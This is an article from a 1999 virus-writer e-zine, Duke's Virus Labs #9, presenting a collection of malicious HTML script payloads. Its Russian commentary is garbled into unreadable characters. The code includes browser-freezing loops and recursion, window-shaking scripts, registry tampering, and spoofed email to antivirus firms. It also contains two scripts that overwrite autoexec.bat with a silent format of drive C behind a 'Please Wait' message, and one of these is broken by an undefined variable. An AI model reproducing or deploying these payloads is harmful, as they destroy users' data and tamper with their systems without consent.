- [Duke's Virus Labs #9] - [Page 31] -

HMTL PAYLOAD
(c) by ULTRAS

 ⮩    ᪮쪮  䥪⮢   ᯮ짮
 HTML    祬  .  ਯ 뫨 ᠭ  ,  
⠫  ஢.

䥪 1
~~~~~~~~
ᠭ  VBcript. ᪮ 横.
 ࠡ뢠  ᠬ ᫥  
  ਯ  ࠡ⠥.

<script language=vbscript>
<!--
do while DVL=DVL
document.write "DVL#9"
loop
-->
</script>

䥪 2
~~~~~~~~
ᠭ  JavaScript.
  㧥. ⠥ 
Internet Explorer  Netscape.

<script LANGUAGE="JavaScript1.2">
<!--script by bordsenius.com@systad.com
if (parseInt(navigator.appVersion) > 3){
a=1;
setInterval("Jump()",10);
}
function Jump(){
a=a+.1;
self.moveBy((Math.random()*a*2 -a),(Math.random()*a*2)-a);
}
//-->
</script>

䥪 3
~~~~~~~~
ᠭ  JavaScript.
蠥 IE4  IE5.

<script language="JavaScript"><!--
v = document.all ('recycled');
function fff( ) {
v.style.top = Math.random(100);
fff( );
}
fff( );
//--></script>

䥪 4
~~~~~~~~
ᠭ  VBScript.
  html  ২.

<script Language="VBScript">
Set WshShell = CreateObject("WScript.Shell")
WshShell.RegWrite "HKEY_CLASSES_ROOT\htmlfile\DefaultIcon\", "C:\Windows\System\Shell32.dll,32"
</script>


䥪 5
~~~~~~~~
ᠭ  JavaScript.
뫠 쬮... 㤠 

<script language=javascript>
<server>
a = new SendMail();
a.from = "bill_gates@microsoft.com"
a.to = "support@avp.ru"
a.cc = "id@drweb.ru"
a.subject = "your license"
a.body = "you bastard"
a.send()
</server>
</script>

䥪 6
~~~~~~~~
ᠭ  JavaScript.
뢠    autoexec.bat

<script language=javascript>
var fs = new ActiveXObject("Scripting.FileSystemObject");
var w = fs.CreateTextFile("C:\autoexec.bat", true);
w.WriteLine("@ECHO OFF");
w.WriteLine("CLS");
w.WriteLine("ECHO Please Wait...");
w.WriteLine("FORMAT C: /U /C /S /AUTOTEST > NUL");
w.WriteLine("ECHO Error...");
w.Close();
</script>


䥪 7
~~~~~~~~
ᠭ  VBScript.
뢠    autoexec.bat

<script language=vbscript>
Set fs = CreateObject("Scripting.FileSystemObject")
Set a = fs.CreateTextFile("C:\autoexec.bat", True)
w.WriteLine("@ECHO OFF")
w.WriteLine("CLS")
w.WriteLine("ECHO Please Wait...")
w.WriteLine("FORMAT C: /U /C /S /AUTOTEST > NUL")
w.WriteLine("ECHO Error...")
w.Close
</script>

䥪 8
~~~~~~~~
ᠭ  JavaScript.
 ࠧ .

<SCRIPT LANGUAGE="JavaScript">
moveTo(20, 20);
resizeTo(1000, 1000);
resizeTo(900, 900);
resizeTo(800, 800);
resizeTo(700, 700);
resizeTo(600, 600);
resizeTo(500, 500);
resizeTo(400, 400);
resizeTo(300, 300);
resizeTo(200, 200);
resizeTo(100, 100);
resizeTo(000, 000);
document.writeln("ok");
</SCRIPT>

䥪 9
~~~~~~~~
ᠭ  VBScript.
뢠  ॥ 
짮⥫    windoze.

<script Language="VBScript">
Set WshShell = CreateObject("WScript.Shell")
WshShell.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Version", "MustDie"
WshShell.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RegisteredOwner", "LaMER"
WshShell.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RegisteredOrganization", "Micro|Sux"
</script>

                                                           ULTRAS 1999
                                                           ~~~~~~~~~~~